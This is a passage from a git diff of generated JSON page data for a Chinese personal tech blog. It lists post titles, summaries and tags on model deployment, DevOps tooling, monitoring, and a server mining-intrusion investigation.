dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""}],"category":"技术分享"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.json" new file mode 100644 index 000000000..d59cbb524 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d9